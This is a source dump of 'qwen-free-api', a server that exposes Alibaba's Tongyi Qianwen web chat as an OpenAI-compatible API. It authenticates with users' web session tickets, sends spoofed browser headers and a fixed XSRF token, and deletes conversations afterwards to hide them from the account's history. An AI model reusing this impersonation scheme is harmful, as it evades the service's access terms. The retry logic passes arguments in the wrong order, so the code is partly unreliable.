448 | "index": 0,
449 | "message": {
450 | "role": "assistant",
451 | "content": "It's the logo of Qwen."
452 | },
453 | "finish_reason": "stop"
454 | }
455 | ],
456 | "usage": {
457 | "prompt_tokens": 1,
458 | "completion_tokens": 1,
459 | "total_tokens": 2
460 | },
461 | "created": 1712254066
462 | }
463 | ```
464 |
465 | ### refresh_token survival detection
466 |
467 | Check whether refresh_token is alive. If live is not true, otherwise it is false. Please do not call this interface frequently (less than 10 minutes).
468 |
469 | **POST /token/check**
470 |
471 | Request data:
472 | ```json
473 | {
474 | "token": "QIhaHrrXUaIrWMUmL..."
475 | }
476 | ```
477 |
478 | Response data:
479 | ```json
480 | {
481 | "live": true
482 | }
483 | ```
484 |
485 | ## Notification
486 |
487 | ### Nginx anti-generation optimization
488 |
489 | If you are using Nginx reverse proxy `qwen-free-api`, please add the following configuration items to optimize the output effect of the stream and optimize the experience.
490 |
491 | ```nginx
492 | # Turn off proxy buffering. When set to off, Nginx will immediately send client requests to the backend server and immediately send responses received from the backend server back to the client.
493 | proxy_buffering off;
494 | # Enable chunked transfer encoding. Chunked transfer encoding allows servers to send data in chunks for dynamically generated content without knowing the size of the content in advance.
495 | chunked_transfer_encoding on;
496 | # Turn on TCP_NOPUSH, which tells Nginx to send as much data as possible before sending the packet to the client. This is usually used in conjunction with sendfile to improve network efficiency.
497 | tcp_nopush on;
498 | # Turn on TCP_NODELAY, which tells Nginx not to delay sending data and to send small data packets immediately. In some cases, this can reduce network latency.
499 | tcp_nodelay on;
500 | #Set the timeout to keep the connection, here it is set to 120 seconds. If there is no further communication between client and server during this time, the connection will be closed.
501 | keepalive_timeout 120;
502 | ```
503 |
504 | ### Token statistics
505 |
506 | Since the inference side is not in qwen-free-api, the token cannot be counted and will be returned as a fixed number!!!!!
507 |
508 | ## Star History
509 |
510 | [](https://star-history.com/#LLM-Red-Team/qwen-free-api&Date)
511 |
--------------------------------------------------------------------------------
/configs/dev/service.yml:
--------------------------------------------------------------------------------
1 | # 服务名称
2 | name: qwen-free-api
3 | # 服务绑定主机地址
4 | host: '0.0.0.0'
5 | # 服务绑定端口
6 | port: 8000
--------------------------------------------------------------------------------
/configs/dev/system.yml:
--------------------------------------------------------------------------------
1 | # 是否开启请求日志
2 | requestLog: true
3 | # 临时目录路径
4 | tmpDir: ./tmp
5 | # 日志目录路径
6 | logDir: ./logs
7 | # 日志写入间隔(毫秒)
8 | logWriteInterval: 200
9 | # 日志文件有效期(毫秒)
10 | logFileExpires: 2626560000
11 | # 公共目录路径
12 | publicDir: ./public
13 | # 临时文件有效期(毫秒)
14 | tmpFileExpires: 86400000
--------------------------------------------------------------------------------
/doc/example-0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LLM-Red-Team/qwen-free-api/f65a4c3ce3e8dded67f8ff4b92f99298d65603cf/doc/example-0.png
--------------------------------------------------------------------------------
/doc/example-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LLM-Red-Team/qwen-free-api/f65a4c3ce3e8dded67f8ff4b92f99298d65603cf/doc/example-1.png
--------------------------------------------------------------------------------
/doc/example-2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LLM-Red-Team/qwen-free-api/f65a4c3ce3e8dded67f8ff4b92f99298d65603cf/doc/example-2.png
--------------------------------------------------------------------------------
/doc/example-3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LLM-Red-Team/qwen-free-api/f65a4c3ce3e8dded67f8ff4b92f99298d65603cf/doc/example-3.png
--------------------------------------------------------------------------------
/doc/example-4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LLM-Red-Team/qwen-free-api/f65a4c3ce3e8dded67f8ff4b92f99298d65603cf/doc/example-4.png
--------------------------------------------------------------------------------
/doc/example-5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LLM-Red-Team/qwen-free-api/f65a4c3ce3e8dded67f8ff4b92f99298d65603cf/doc/example-5.png
--------------------------------------------------------------------------------
/doc/example-6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LLM-Red-Team/qwen-free-api/f65a4c3ce3e8dded67f8ff4b92f99298d65603cf/doc/example-6.png
--------------------------------------------------------------------------------
/doc/example-7.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LLM-Red-Team/qwen-free-api/f65a4c3ce3e8dded67f8ff4b92f99298d65603cf/doc/example-7.png
--------------------------------------------------------------------------------
/libs.d.ts:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LLM-Red-Team/qwen-free-api/f65a4c3ce3e8dded67f8ff4b92f99298d65603cf/libs.d.ts
--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "qwen-free-api",
3 | "version": "0.0.21",
4 | "description": "Qwen Free API Server",
5 | "main": "dist/index.js",
6 | "module": "dist/index.mjs",
7 | "types": "dist/index.d.ts",
8 | "directories": {
9 | "dist": "dist"
10 | },
11 | "files": [
12 | "dist/"
13 | ],
14 | "scripts": {
15 | "dev": "tsup src/index.ts --format cjs,esm --sourcemap --dts --publicDir public --watch --onSuccess \"node dist/index.js\"",
16 | "start": "node dist/index.js",
17 | "build": "tsup src/index.ts --format cjs,esm --sourcemap --dts --clean --publicDir public"
18 | },
19 | "author": "Vinlic",
20 | "license": "ISC",
21 | "dependencies": {
22 | "axios": "^1.6.7",
23 | "colors": "^1.4.0",
24 | "crc-32": "^1.2.2",
25 | "cron": "^3.1.6",
26 | "date-fns": "^3.3.1",
27 | "eventsource-parser": "^1.1.2",
28 | "form-data": "^4.0.0",
29 | "fs-extra": "^11.2.0",
30 | "koa": "^2.15.0",
31 | "koa-body": "^5.0.0",
32 | "koa-bodyparser": "^4.4.1",
33 | "koa-range": "^0.3.0",
34 | "koa-router": "^12.0.1",
35 | "koa2-cors": "^2.0.6",
36 | "lodash": "^4.17.21",
37 | "mime": "^4.0.1",
38 | "minimist": "^1.2.8",
39 | "randomstring": "^1.3.0",
40 | "uuid": "^9.0.1",
41 | "yaml": "^2.3.4"
42 | },
43 | "devDependencies": {
44 | "@types/lodash": "^4.14.202",
45 | "@types/mime": "^3.0.4",
46 | "tsup": "^8.0.2",
47 | "typescript": "^5.3.3"
48 | }
49 | }
50 |
--------------------------------------------------------------------------------
/public/welcome.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | 🚀 服务已启动
6 |
7 |
8 | qwen-free-api已启动!
请通过LobeChat / NextChat / Dify等客户端或OpenAI SDK接入!
9 |
10 |
--------------------------------------------------------------------------------
/src/api/consts/exceptions.ts:
--------------------------------------------------------------------------------
1 | export default {
2 | API_TEST: [-9999, 'API异常错误'],
3 | API_REQUEST_PARAMS_INVALID: [-2000, '请求参数非法'],
4 | API_REQUEST_FAILED: [-2001, '请求失败'],
5 | API_TOKEN_EXPIRES: [-2002, 'Token已失效'],
6 | API_FILE_URL_INVALID: [-2003, '远程文件URL非法'],
7 | API_FILE_EXECEEDS_SIZE: [-2004, '远程文件超出大小'],
8 | API_CHAT_STREAM_PUSHING: [-2005, '已有对话流正在输出'],
9 | API_CONTENT_FILTERED: [-2006, '内容由于合规问题已被阻止生成'],
10 | API_IMAGE_GENERATION_FAILED: [-2007, '图像生成失败']
11 | }
--------------------------------------------------------------------------------
/src/api/controllers/chat.ts:
--------------------------------------------------------------------------------
1 | import { URL } from "url";
2 | import { PassThrough } from "stream";
3 | import http2 from "http2";
4 | import path from "path";
5 | import _ from "lodash";
6 | import mime from "mime";
7 | import FormData from "form-data";
8 | import axios, { AxiosResponse } from "axios";
9 |
10 | import APIException from "@/lib/exceptions/APIException.ts";
11 | import EX from "@/api/consts/exceptions.ts";
12 | import { createParser } from "eventsource-parser";
13 | import logger from "@/lib/logger.ts";
14 | import util from "@/lib/util.ts";
15 |
16 | // 模型名称
17 | const MODEL_NAME = "qwen";
18 | // 最大重试次数
19 | const MAX_RETRY_COUNT = 3;
20 | // 重试延迟
21 | const RETRY_DELAY = 5000;
22 | // 伪装headers
23 | const FAKE_HEADERS = {
24 | Accept: "application/json, text/plain, */*",
25 | "Accept-Encoding": "gzip, deflate, br, zstd",
26 | "Accept-Language": "zh-CN,zh;q=0.9",
27 | "Cache-Control": "no-cache",
28 | Origin: "https://tongyi.aliyun.com",
29 | Pragma: "no-cache",
30 | "Sec-Ch-Ua":
31 | '"Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"',
32 | "Sec-Ch-Ua-Mobile": "?0",
33 | "Sec-Ch-Ua-Platform": '"Windows"',
34 | "Sec-Fetch-Dest": "empty",
35 | "Sec-Fetch-Mode": "cors",
36 | "Sec-Fetch-Site": "same-site",
37 | Referer: "https://tongyi.aliyun.com/",
38 | "User-Agent":
39 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
40 | "X-Platform": "pc_tongyi",
41 | "X-Xsrf-Token": "48b9ee49-a184-45e2-9f67-fa87213edcdc",
42 | };
43 | // 文件最大大小
44 | const FILE_MAX_SIZE = 100 * 1024 * 1024;
45 |
46 | /**
47 | * 移除会话
48 | *
49 | * 在对话流传输完毕后移除会话,避免创建的会话出现在用户的对话列表中
50 | *
51 | * @param ticket tongyi_sso_ticket或login_aliyunid_ticket
52 | */
53 | async function removeConversation(convId: string, ticket: string) {
54 | const result = await axios.post(
55 | `https://qianwen.biz.aliyun.com/dialog/session/delete`,
56 | {
57 | sessionId: convId,
58 | },
59 | {
60 | headers: {
61 | Cookie: generateCookie(ticket),
62 | ...FAKE_HEADERS,
63 | },
64 | timeout: 15000,
65 | validateStatus: () => true,
66 | }
67 | );
68 | checkResult(result);
69 | }
70 |
71 | /**
72 | * 同步对话补全
73 | *
74 | * @param model 模型名称
75 | * @param messages 参考gpt系列消息格式,多轮对话请完整提供上下文
76 | * @param ticket tongyi_sso_ticket或login_aliyunid_ticket
77 | * @param refConvId 引用的会话ID
78 | * @param retryCount 重试次数
79 | */
80 | async function createCompletion(
81 | model = MODEL_NAME,
82 | messages: any[],
83 | searchType: string = '',
84 | ticket: string,
85 | refConvId = '',
86 | retryCount = 0
87 | ) {
88 | let session: http2.ClientHttp2Session;
89 | return (async () => {
90 | logger.info(messages);
91 |
92 | // 提取引用文件URL并上传qwen获得引用的文件ID列表
93 | const refFileUrls = extractRefFileUrls(messages);
94 | const refs = refFileUrls.length
95 | ? await Promise.all(
96 | refFileUrls.map((fileUrl) => uploadFile(fileUrl, ticket))
97 | )
98 | : [];
99 |
100 | // 如果引用对话ID不正确则重置引用
101 | if (!/[0-9a-z]{32}/.test(refConvId))
102 | refConvId = '';
103 |
104 | // 请求流
105 | const session: http2.ClientHttp2Session = await new Promise(
106 | (resolve, reject) => {
107 | const session = http2.connect("https://qianwen.biz.aliyun.com");
108 | session.on("connect", () => resolve(session));
109 | session.on("error", reject);
110 | }
111 | );
112 | const [sessionId, parentMsgId = ''] = refConvId.split('-');
113 | const req = session.request({
114 | ":method": "POST",
115 | ":path": "/dialog/conversation",
116 | "Content-Type": "application/json",
117 | Cookie: generateCookie(ticket),
118 | ...FAKE_HEADERS,
119 | Accept: "text/event-stream",
120 | });
121 | req.setTimeout(120000);
122 | req.write(
123 | JSON.stringify({
124 | mode: "chat",
125 | model: "",
126 | action: "next",
127 | userAction: "chat",
128 | requestId: util.uuid(false),
129 | sessionId,
130 | sessionType: "text_chat",
131 | parentMsgId,
132 | params: {
133 | "fileUploadBatchId": util.uuid(),
134 | "searchType": searchType,
135 | },
136 | contents: messagesPrepare(messages, refs, !!refConvId),
137 | })
138 | );
139 | req.setEncoding("utf8");
140 | const streamStartTime = util.timestamp();
141 | // 接收流为输出文本
142 | const answer = await receiveStream(req);
143 | session.close();
144 | logger.success(
145 | `Stream has completed transfer ${util.timestamp() - streamStartTime}ms`
146 | );
147 |
148 | // 异步移除会话,如果消息不合规,此操作可能会抛出数据库错误异常,请忽略
149 | removeConversation(answer.id, ticket).catch((err) => console.error(err));
150 |
151 | return answer;
152 | })().catch((err) => {
153 | session && session.close();
154 | if (retryCount < MAX_RETRY_COUNT) {
155 | logger.error(`Stream response error: ${err.message}`);
156 | logger.warn(`Try again after ${RETRY_DELAY / 1000}s...`);
157 | return (async () => {
158 | await new Promise((resolve) => setTimeout(resolve, RETRY_DELAY));
159 | return createCompletion(model, messages, ticket, refConvId, retryCount + 1);
160 | })();
161 | }
162 | throw err;
163 | });
164 | }
165 |
166 | /**
167 | * 流式对话补全
168 | *
169 | * @param model 模型名称
170 | * @param messages 参考gpt系列消息格式,多轮对话请完整提供上下文
171 | * @param ticket tongyi_sso_ticket或login_aliyunid_ticket
172 | * @param refConvId 引用的会话ID
173 | * @param retryCount 重试次数
174 | */
175 | async function createCompletionStream(
176 | model = MODEL_NAME,
177 | messages: any[],
178 | searchType: string = '',
179 | ticket: string,
180 | refConvId = '',
181 | retryCount = 0
182 | ) {
183 | let session: http2.ClientHttp2Session;
184 | return (async () => {
185 | logger.info(messages);
186 |
187 | // 提取引用文件URL并上传qwen获得引用的文件ID列表
188 | const refFileUrls = extractRefFileUrls(messages);
189 | const refs = refFileUrls.length
190 | ? await Promise.all(
191 | refFileUrls.map((fileUrl) => uploadFile(fileUrl, ticket))
192 | )
193 | : [];
194 |
195 | // 如果引用对话ID不正确则重置引用
196 | if (!/[0-9a-z]{32}/.test(refConvId))
197 | refConvId = ''
198 |
199 | // 请求流
200 | session = await new Promise((resolve, reject) => {
201 | const session = http2.connect("https://qianwen.biz.aliyun.com");
202 | session.on("connect", () => resolve(session));
203 | session.on("error", reject);
204 | });
205 | const [sessionId, parentMsgId = ''] = refConvId.split('-');
206 | const req = session.request({
207 | ":method": "POST",
208 | ":path": "/dialog/conversation",
209 | "Content-Type": "application/json",
210 | Cookie: generateCookie(ticket),
211 | ...FAKE_HEADERS,
212 | Accept: "text/event-stream",
213 | });
214 | req.setTimeout(120000);
215 | req.write(
216 | JSON.stringify({
217 | mode: "chat",
218 | model: "",
219 | action: "next",
220 | userAction: "chat",
221 | requestId: util.uuid(false),
222 | sessionId,
223 | sessionType: "text_chat",
224 | parentMsgId,
225 | params: {
226 | "fileUploadBatchId": util.uuid(),
227 | "searchType": searchType,
228 | },
229 | contents: messagesPrepare(messages, refs, !!refConvId),
230 | })
231 | );
232 | req.setEncoding("utf8");
233 | const streamStartTime = util.timestamp();
234 | // 创建转换流将消息格式转换为gpt兼容格式
235 | return createTransStream(req, (convId: string) => {
236 | // 关闭请求会话
237 | session.close();
238 | logger.success(
239 | `Stream has completed transfer ${util.timestamp() - streamStartTime}ms`
240 | );
241 | // 流传输结束后异步移除会话,如果消息不合规,此操作可能会抛出数据库错误异常,请忽略
242 | removeConversation(convId, ticket).catch((err) => console.error(err));
243 | });
244 | })().catch((err) => {
245 | session && session.close();
246 | if (retryCount < MAX_RETRY_COUNT) {
247 | logger.error(`Stream response error: ${err.message}`);
248 | logger.warn(`Try again after ${RETRY_DELAY / 1000}s...`);
249 | return (async () => {
250 | await new Promise((resolve) => setTimeout(resolve, RETRY_DELAY));
251 | return createCompletionStream(model, messages, ticket, refConvId, retryCount + 1);
252 | })();
253 | }
254 | throw err;
255 | });
256 | }
257 |
258 | async function generateImages(
259 | model = MODEL_NAME,
260 | prompt: string,
261 | ticket: string,
262 | retryCount = 0
263 | ) {
264 | let session: http2.ClientHttp2Session;
265 | return (async () => {
266 | const messages = [
267 | { role: "user", content: prompt.indexOf('画') == -1 ? `请画:${prompt}` : prompt },
268 | ];
269 | // 请求流
270 | const session: http2.ClientHttp2Session = await new Promise(
271 | (resolve, reject) => {
272 | const session = http2.connect("https://qianwen.biz.aliyun.com");
273 | session.on("connect", () => resolve(session));
274 | session.on("error", reject);
275 | }
276 | );
277 | const req = session.request({
278 | ":method": "POST",
279 | ":path": "/dialog/conversation",
280 | "Content-Type": "application/json",
281 | Cookie: generateCookie(ticket),
282 | ...FAKE_HEADERS,
283 | Accept: "text/event-stream",
284 | });
285 | req.setTimeout(120000);
286 | req.write(
287 | JSON.stringify({
288 | mode: "chat",
289 | model: "",
290 | action: "next",
291 | userAction: "chat",
292 | requestId: util.uuid(false),
293 | sessionId: "",
294 | sessionType: "text_chat",
295 | parentMsgId: "",
296 | params: {
297 | "fileUploadBatchId": util.uuid()
298 | },
299 | contents: messagesPrepare(messages),
300 | })
301 | );
302 | req.setEncoding("utf8");
303 | const streamStartTime = util.timestamp();
304 | // 接收流为输出文本
305 | const { convId, imageUrls } = await receiveImages(req);
306 | session.close();
307 | logger.success(
308 | `Stream has completed transfer ${util.timestamp() - streamStartTime}ms`
309 | );
310 |
311 | // 异步移除会话,如果消息不合规,此操作可能会抛出数据库错误异常,请忽略
312 | removeConversation(convId, ticket).catch((err) => console.error(err));
313 |
314 | return imageUrls;
315 | })().catch((err) => {
316 | session && session.close();
317 | if (retryCount < MAX_RETRY_COUNT) {
318 | logger.error(`Stream response error: ${err.message}`);
319 | logger.warn(`Try again after ${RETRY_DELAY / 1000}s...`);
320 | return (async () => {
321 | await new Promise((resolve) => setTimeout(resolve, RETRY_DELAY));
322 | return generateImages(model, prompt, ticket, retryCount + 1);
323 | })();
324 | }
325 | throw err;
326 | });
327 | }
328 |
329 | /**
330 | * 提取消息中引用的文件URL
331 | *
332 | * @param messages 参考gpt系列消息格式,多轮对话请完整提供上下文
333 | */
334 | function extractRefFileUrls(messages: any[]) {
335 | const urls = [];
336 | // 如果没有消息,则返回[]
337 | if (!messages.length) {
338 | return urls;
339 | }
340 | // 只获取最新的消息
341 | const lastMessage = messages[messages.length - 1];
342 | if (_.isArray(lastMessage.content)) {
343 | lastMessage.content.forEach((v) => {
344 | if (!_.isObject(v) || !["file", "image_url"].includes(v["type"])) return;
345 | // glm-free-api支持格式
346 | if (
347 | v["type"] == "file" &&
348 | _.isObject(v["file_url"]) &&
349 | _.isString(v["file_url"]["url"])
350 | )
351 | urls.push(v["file_url"]["url"]);
352 | // 兼容gpt-4-vision-preview API格式
353 | else if (
354 | v["type"] == "image_url" &&
355 | _.isObject(v["image_url"]) &&
356 | _.isString(v["image_url"]["url"])
357 | )
358 | urls.push(v["image_url"]["url"]);
359 | });
360 | }
361 | logger.info("本次请求上传:" + urls.length + "个文件");
362 | return urls;
363 | }
364 |
365 | /**
366 | * 消息预处理
367 | *
368 | * 由于接口只取第一条消息,此处会将多条消息合并为一条,实现多轮对话效果
369 | * user:旧消息1
370 | * assistant:旧消息2
371 | * user:新消息
372 | *
373 | * @param messages 参考gpt系列消息格式,多轮对话请完整提供上下文
374 | * @param refs 参考文件列表
375 | * @param isRefConv 是否为引用会话
376 | */
377 | function messagesPrepare(messages: any[], refs: any[] = [], isRefConv = false) {
378 | let content;
379 | if (isRefConv || messages.length < 2) {
380 | content = messages.reduce((content, message) => {
381 | if (_.isArray(message.content)) {
382 | return (
383 | message.content.reduce((_content, v) => {
384 | if (!_.isObject(v) || v["type"] != "text") return _content;
385 | return _content + (v["text"] || "") + "\n";
386 | }, content)
387 | );
388 | }
389 | return content + `${message.content}\n`;
390 | }, "");
391 | logger.info("\n透传内容:\n" + content);
392 | }
393 | else {
394 | content = messages.reduce((content, message) => {
395 | if (_.isArray(message.content)) {
396 | return message.content.reduce((_content, v) => {
397 | if (!_.isObject(v) || v["type"] != "text") return _content;
398 | return _content + `<|im_start|>${message.role || "user"}\n${v["text"] || ""}<|im_end|>\n`;
399 | }, content);
400 | }
401 | return (content += `<|im_start|>${message.role || "user"}\n${
402 | message.content
403 | }<|im_end|>\n`);
404 | }, "").replace(/\!\[.*\]\(.+\)/g, "");
405 | logger.info("\n对话合并:\n" + content);
406 | }
407 | return [
408 | {
409 | content,
410 | contentType: "text",
411 | role: "user",
412 | },
413 | ...refs
414 | ];
415 | }
416 |
417 | /**
418 | * 检查请求结果
419 | *
420 | * @param result 结果
421 | */
422 | function checkResult(result: AxiosResponse) {
423 | if (!result.data) return null;
424 | const { success, errorCode, errorMsg } = result.data;
425 | if (!_.isBoolean(success) || success) return result.data;
426 | throw new APIException(
427 | EX.API_REQUEST_FAILED,
428 | `[请求qwen失败]: ${errorCode}-${errorMsg}`
429 | );
430 | }
431 |
432 | /**
433 | * 从流接收完整的消息内容
434 | *
435 | * @param stream 消息流
436 | */
437 | async function receiveStream(stream: any): Promise {
438 | return new Promise((resolve, reject) => {
439 | // 消息初始化
440 | const data = {
441 | id: "",
442 | model: MODEL_NAME,
443 | object: "chat.completion",
444 | choices: [
445 | {
446 | index: 0,
447 | message: { role: "assistant", content: "" },
448 | finish_reason: "stop",
449 | },
450 | ],
451 | usage: { prompt_tokens: 1, completion_tokens: 1, total_tokens: 2 },
452 | created: util.unixTimestamp(),
453 | };
454 | const parser = createParser((event) => {
455 | try {
456 | if (event.type !== "event") return;
457 | if (event.data == "[DONE]") return;
458 | // 解析JSON
459 | const result = _.attempt(() => JSON.parse(event.data));
460 | if (_.isError(result))
461 | throw new Error(`Stream response invalid: ${event.data}`);
462 | if (!data.id && result.sessionId && result.msgId)
463 | data.id = `${result.sessionId}-${result.msgId}`;
464 | const text = (result.contents || []).reduce((str, part) => {
465 | const { contentType, role, content } = part;
466 | if (contentType != "text" && contentType != "text2image") return str;
467 | if (role != "assistant" && !_.isString(content)) return str;
468 | return str + content;
469 | }, "");
470 | const exceptCharIndex = text.indexOf("�");
471 | let chunk = text.substring(
472 | exceptCharIndex != -1
473 | ? Math.min(data.choices[0].message.content.length, exceptCharIndex)
474 | : data.choices[0].message.content.length,
475 | exceptCharIndex == -1 ? text.length : exceptCharIndex
476 | );
477 | if (chunk && result.contentType == "text2image") {
478 | chunk = chunk.replace(
479 | /https?:\/\/[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b([-a-zA-Z0-9@:%_\+.~#?&//=\,]*)/gi,
480 | (url) => {
481 | const urlObj = new URL(url);
482 | urlObj.search = "";
483 | return urlObj.toString();
484 | }
485 | );
486 | }
487 | if (result.msgStatus != "finished") {
488 | if (result.contentType == "text")
489 | data.choices[0].message.content += chunk;
490 | } else {
491 | data.choices[0].message.content += chunk;
492 | if (!result.canShare)
493 | data.choices[0].message.content +=
494 | "\n[内容由于不合规被停止生成,我们换个话题吧]";
495 | if (result.errorCode)
496 | data.choices[0].message.content += `服务暂时不可用,第三方响应错误:${result.errorCode}`;
497 | resolve(data);
498 | }
499 | } catch (err) {
500 | logger.error(err);
501 | reject(err);
502 | }
503 | });
504 | // 将流数据喂给SSE转换器
505 | stream.on("data", (buffer) => parser.feed(buffer.toString()));
506 | stream.once("error", (err) => reject(err));
507 | stream.once("close", () => resolve(data));
508 | stream.end();
509 | });
510 | }
511 |
512 | /**
513 | * 创建转换流
514 | *
515 | * 将流格式转换为gpt兼容流格式
516 | *
517 | * @param stream 消息流
518 | * @param endCallback 传输结束回调
519 | */
520 | function createTransStream(stream: any, endCallback?: Function) {
521 | // 消息创建时间
522 | const created = util.unixTimestamp();
523 | // 创建转换流
524 | const transStream = new PassThrough();
525 | let content = "";
526 | !transStream.closed &&
527 | transStream.write(
528 | `data: ${JSON.stringify({
529 | id: "",
530 | model: MODEL_NAME,
531 | object: "chat.completion.chunk",
532 | choices: [
533 | {
534 | index: 0,
535 | delta: { role: "assistant", content: "" },
536 | finish_reason: null,
537 | },
538 | ],
539 | created,
540 | })}\n\n`
541 | );
542 | const parser = createParser((event) => {
543 | try {
544 | if (event.type !== "event") return;
545 | if (event.data == "[DONE]") return;
546 | // 解析JSON
547 | const result = _.attempt(() => JSON.parse(event.data));
548 | if (_.isError(result))
549 | throw new Error(`Stream response invalid: ${event.data}`);
550 | const text = (result.contents || []).reduce((str, part) => {
551 | const { contentType, role, content } = part;
552 | if (contentType != "text" && contentType != "text2image") return str;
553 | if (role != "assistant" && !_.isString(content)) return str;
554 | return str + content;
555 | }, "");
556 | const exceptCharIndex = text.indexOf("�");
557 | let chunk = text.substring(
558 | exceptCharIndex != -1
559 | ? Math.min(content.length, exceptCharIndex)
560 | : content.length,
561 | exceptCharIndex == -1 ? text.length : exceptCharIndex
562 | );
563 | if (chunk && result.contentType == "text2image") {
564 | chunk = chunk.replace(
565 | /https?:\/\/[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b([-a-zA-Z0-9@:%_\+.~#?&//=\,]*)/gi,
566 | (url) => {
567 | const urlObj = new URL(url);
568 | urlObj.search = "";
569 | return urlObj.toString();
570 | }
571 | );
572 | }
573 | if (result.msgStatus != "finished") {
574 | if (chunk && result.contentType == "text") {
575 | content += chunk;
576 | const data = `data: ${JSON.stringify({
577 | id: `${result.sessionId}-${result.msgId}`,
578 | model: MODEL_NAME,
579 | object: "chat.completion.chunk",
580 | choices: [
581 | { index: 0, delta: { content: chunk }, finish_reason: null },
582 | ],
583 | created,
584 | })}\n\n`;
585 | !transStream.closed && transStream.write(data);
586 | }
587 | } else {
588 | const delta = { content: chunk || "" };
589 | if (!result.canShare)
590 | delta.content += "\n[内容由于不合规被停止生成,我们换个话题吧]";
591 | if (result.errorCode)
592 | delta.content += `服务暂时不可用,第三方响应错误:${result.errorCode}`;
593 | const data = `data: ${JSON.stringify({
594 | id: `${result.sessionId}-${result.msgId}`,
595 | model: MODEL_NAME,
596 | object: "chat.completion.chunk",
597 | choices: [
598 | {
599 | index: 0,
600 | delta,
601 | finish_reason: "stop",
602 | },
603 | ],
604 | usage: { prompt_tokens: 1, completion_tokens: 1, total_tokens: 2 },
605 | created,
606 | })}\n\n`;
607 | !transStream.closed && transStream.write(data);
608 | !transStream.closed && transStream.end("data: [DONE]\n\n");
609 | content = "";
610 | endCallback && endCallback(result.sessionId);
611 | }
612 | // else
613 | // logger.warn(result.event, result);
614 | } catch (err) {
615 | logger.error(err);
616 | !transStream.closed && transStream.end("\n\n");
617 | }
618 | });
619 | // 将流数据喂给SSE转换器
620 | stream.on("data", (buffer) => parser.feed(buffer.toString()));
621 | stream.once(
622 | "error",
623 | () => !transStream.closed && transStream.end("data: [DONE]\n\n")
624 | );
625 | stream.once(
626 | "close",
627 | () => !transStream.closed && transStream.end("data: [DONE]\n\n")
628 | );
629 | stream.end();
630 | return transStream;
631 | }
632 |
633 | /**
634 | * 从流接收图像
635 | *
636 | * @param stream 消息流
637 | */
638 | async function receiveImages(
639 | stream: any
640 | ): Promise<{ convId: string; imageUrls: string[] }> {
641 | return new Promise((resolve, reject) => {
642 | let convId = "";
643 | const imageUrls = [];
644 | const parser = createParser((event) => {
645 | try {
646 | if (event.type !== "event") return;
647 | if (event.data == "[DONE]") return;
648 | // 解析JSON
649 | const result = _.attempt(() => JSON.parse(event.data));
650 | if (_.isError(result))
651 | throw new Error(`Stream response invalid: ${event.data}`);
652 | if (!convId && result.sessionId) convId = result.sessionId;
653 | const text = (result.contents || []).reduce((str, part) => {
654 | const { role, content } = part;
655 | if (role != "assistant" && !_.isString(content)) return str;
656 | return str + content;
657 | }, "");
658 | if (result.contentFrom == "text2image") {
659 | const urls =
660 | text.match(
661 | /https?:\/\/[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b([-a-zA-Z0-9@:%_\+.~#?&//=\,]*)/gi
662 | ) || [];
663 | urls.forEach((url) => {
664 | const urlObj = new URL(url);
665 | urlObj.search = "";
666 | const imageUrl = urlObj.toString();
667 | if (imageUrls.indexOf(imageUrl) != -1) return;
668 | imageUrls.push(imageUrl);
669 | });
670 | }
671 | if (result.msgStatus == "finished") {
672 | if (!result.canShare || imageUrls.length == 0)
673 | throw new APIException(EX.API_CONTENT_FILTERED);
674 | if (result.errorCode)
675 | throw new APIException(
676 | EX.API_REQUEST_FAILED,
677 | `服务暂时不可用,第三方响应错误:${result.errorCode}`
678 | );
679 | }
680 | } catch (err) {
681 | logger.error(err);
682 | reject(err);
683 | }
684 | });
685 | // 将流数据喂给SSE转换器
686 | stream.on("data", (buffer) => parser.feed(buffer.toString()));
687 | stream.once("error", (err) => reject(err));
688 | stream.once("close", () => resolve({ convId, imageUrls }));
689 | stream.end();
690 | });
691 | }
692 |
693 | /**
694 | * 获取上传参数
695 | *
696 | * @param ticket tongyi_sso_ticket或login_aliyunid_ticket
697 | */
698 | async function acquireUploadParams(ticket: string) {
699 | const result = await axios.post(
700 | "https://qianwen.biz.aliyun.com/dialog/uploadToken",
701 | {},
702 | {
703 | timeout: 15000,
704 | headers: {
705 | Cookie: generateCookie(ticket),
706 | ...FAKE_HEADERS,
707 | },
708 | validateStatus: () => true,
709 | }
710 | );
711 | const { data } = checkResult(result);
712 | return data;
713 | }
714 |
715 | /**
716 | * 预检查文件URL有效性
717 | *
718 | * @param fileUrl 文件URL
719 | */
720 | async function checkFileUrl(fileUrl: string) {
721 | if (util.isBASE64Data(fileUrl)) return;
722 | const result = await axios.head(fileUrl, {
723 | timeout: 15000,
724 | validateStatus: () => true,
725 | });
726 | if (result.status >= 400)
727 | throw new APIException(
728 | EX.API_FILE_URL_INVALID,
729 | `File ${fileUrl} is not valid: [${result.status}] ${result.statusText}`
730 | );
731 | // 检查文件大小
732 | if (result.headers && result.headers["content-length"]) {
733 | const fileSize = parseInt(result.headers["content-length"], 10);
734 | if (fileSize > FILE_MAX_SIZE)
735 | throw new APIException(
736 | EX.API_FILE_EXECEEDS_SIZE,
737 | `File ${fileUrl} is not valid`
738 | );
739 | }
740 | }
741 |
742 | /**
743 | * 上传文件
744 | *
745 | * @param fileUrl 文件URL
746 | * @param ticket tongyi_sso_ticket或login_aliyunid_ticket
747 | */
748 | async function uploadFile(fileUrl: string, ticket: string) {
749 | // 预检查远程文件URL可用性
750 | await checkFileUrl(fileUrl);
751 |
752 | let filename, fileData, mimeType;
753 | // 如果是BASE64数据则直接转换为Buffer
